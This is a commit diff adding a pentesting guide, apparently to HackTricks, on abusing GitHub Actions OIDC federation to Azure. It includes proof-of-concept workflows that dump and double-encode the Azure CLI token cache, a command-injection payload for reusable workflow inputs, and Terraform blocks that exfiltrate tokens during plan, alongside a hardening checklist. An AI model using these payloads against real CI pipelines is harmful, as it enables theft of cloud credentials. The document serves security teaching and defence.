Skip to content

Commit a7994e3

Browse files
author
HackTricks News Bot
committed
Add content from: GitHub Actions: A Cloudy Day for Security - Part 2
- Remove searchindex.js (auto-generated file)
1 parent 391b11e commit a7994e3

File tree

4 files changed

+259
-2
lines changed

4 files changed

+259
-2
lines changed

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -403,6 +403,7 @@
403403
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
404404
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
405405
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
406+
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
406407
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
407408
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
408409
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -477,14 +477,18 @@ jobs:
477477
- run: ls tmp/checkout
478478
```
479479

480-
### Accessing AWS and GCP via OIDC
480+
### Accessing AWS, Azure and GCP via OIDC
481481

482482
Check the following pages:
483483

484484
{{#ref}}
485485
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
486486
{{#endref}}
487487

488+
{{#ref}}
489+
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
490+
{{#endref}}
491+
488492
{{#ref}}
489493
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
490494
{{#endref}}
Lines changed: 253 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,253 @@
1+
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
8+
9+
Azure validates at least:
10+
- iss: https://token.actions.githubusercontent.com
11+
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
12+
- sub: must match the configured FIC Subject identifier
13+
14+
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
15+
16+
## GitHub ID token quick PoC
17+
18+
```yaml
19+
name: Print OIDC identity token
20+
on: { workflow_dispatch: {} }
21+
permissions:
22+
id-token: write
23+
jobs:
24+
view-token:
25+
runs-on: ubuntu-latest
26+
steps:
27+
- name: get-token
28+
run: |
29+
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
30+
# Base64 avoid GitHub masking
31+
echo "$OIDC_TOKEN" | base64 -w0
32+
```
33+
34+
To force Azure audience on token request:
35+
36+
```bash
37+
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
38+
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
39+
```
40+
41+
## Azure setup (Workload Identity Federation)
42+
43+
1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).
44+
45+
2) Add Federated identity credentials:
46+
- Issuer: https://token.actions.githubusercontent.com
47+
- Audience: api://AzureADTokenExchange
48+
- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
49+
50+
3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
51+
52+
```yaml
53+
name: Deploy to Azure
54+
on:
55+
push: { branches: [main] }
56+
permissions:
57+
id-token: write
58+
contents: read
59+
jobs:
60+
deploy:
61+
runs-on: ubuntu-latest
62+
steps:
63+
- name: Az CLI login
64+
uses: azure/login@v2
65+
with:
66+
client-id: ${{ secrets.AZURE_CLIENT_ID }}
67+
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
68+
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
69+
- name: Upload file to Azure
70+
run: |
71+
az storage blob upload --data "test" -c hmm -n testblob \
72+
--account-name sofiatest --auth-mode login
73+
```
74+
75+
Manual exchange example (Graph scope shown; ARM or other resources similarly):
76+
77+
```http
78+
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
79+
Host: login.microsoftonline.com
80+
Content-Type: application/x-www-form-urlencoded
81+
82+
client_id=<app-client-id>&grant_type=client_credentials&
83+
client_assertion=<GitHub-ID-token>&client_info=1&
84+
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
85+
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
86+
```
87+
88+
## GitHub OIDC subject (sub) anatomy and customization
89+
90+
Default sub format: repo:<org>/<repo>:<context>
91+
92+
Context values include:
93+
- environment:<env>
94+
- pull_request (PR triggers when not in an environment)
95+
- ref:refs/(heads|tags)/<name>
96+
97+
Useful claims often present in the payload:
98+
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
99+
100+
Customize sub composition via the GitHub API to include additional claims and reduce collision risk:
101+
102+
```bash
103+
gh api orgs/<org>/actions/oidc/customization/sub
104+
gh api repos/<org>/<repo>/actions/oidc/customization/sub
105+
# Example to include owner and visibility
106+
gh api \
107+
--method PUT \
108+
repos/<org>/<repo>/actions/oidc/customization/sub \
109+
-f use_default=false \
110+
-f include_claim_keys='["repository_owner","repository_visibility"]'
111+
```
112+
113+
Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:<name>) is still unsafe.
114+
115+
## Scoping and risks of FIC subject types
116+
117+
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
118+
- Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
119+
- Environment: sub=repo:<org>/<repo>:environment:<env>
120+
- Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
121+
- Pull request: sub=repo:<org>/<repo>:pull_request
122+
- Highest risk: Any collaborator can open a PR and satisfy the FIC.
123+
124+
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
125+
126+
```yaml
127+
name: Steal tokens
128+
on: pull_request
129+
permissions:
130+
id-token: write
131+
contents: read
132+
jobs:
133+
extract-creds:
134+
runs-on: ubuntu-latest
135+
steps:
136+
- name: azure login
137+
uses: azure/login@v2
138+
with:
139+
client-id: ${{ secrets.AZURE_CLIENT_ID }}
140+
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
141+
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
142+
- name: Extract access token
143+
run: |
144+
# Azure CLI caches tokens here on Linux runners
145+
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
146+
# Decode twice locally to recover the bearer token
147+
```
148+
149+
Related file locations and notes:
150+
- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
151+
- Windows: msal_token_cache.bin under user profile; DPAPI‑protected
152+
153+
## Reusable workflows and job_workflow_ref scoping
154+
155+
Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:
156+
157+
```
158+
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
159+
```
160+
161+
FIC example to bind both caller repo and the reusable workflow:
162+
163+
```
164+
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
165+
```
166+
167+
Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:
168+
169+
```http
170+
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
171+
Host: api.github.com
172+
Authorization: token <access token>
173+
174+
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
175+
```
176+
177+
Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.
178+
179+
## Code execution vectors that bypass job_workflow_ref protections
180+
181+
Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.
182+
183+
Example vulnerable reusable step (unquoted interpolation):
184+
185+
```yaml
186+
- name: Example Security Check
187+
run: |
188+
echo "Checking file contents"
189+
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
190+
echo "Malicious content detected!"; exit 1
191+
else
192+
echo "File contents are safe."
193+
fi
194+
```
195+
196+
Malicious caller input to execute commands and exfiltrate the Azure token cache:
197+
198+
```yaml
199+
with:
200+
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
201+
```
202+
203+
## Terraform plan as an execution primitive in PRs
204+
205+
Treat terraform plan as code execution. During plan, Terraform can:
206+
- Read arbitrary files via functions like file()
207+
- Execute commands via the external data source
208+
209+
Example to exfiltrate Azure token cache during plan:
210+
211+
```hcl
212+
output "msal_token_cache" {
213+
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
214+
}
215+
```
216+
217+
Or use external to run arbitrary commands:
218+
219+
```hcl
220+
data "external" "exfil" {
221+
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
222+
}
223+
```
224+
225+
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
226+
227+
## Hardening checklist
228+
229+
- Never use sub=...:pull_request for sensitive FICs
230+
- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
231+
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
232+
- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
233+
- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
234+
- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
235+
- Enforce least privilege on App Registrations; separate identities for plan vs apply
236+
- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)
237+
238+
## Manual testing tips
239+
240+
- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
241+
- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
242+
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
243+
- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence
244+
245+
## References
246+
247+
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
248+
- [azure/login action](https://github.com/Azure/login)
249+
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
250+
- [gh CLI](https://cli.github.com/)
251+
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
252+
253+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)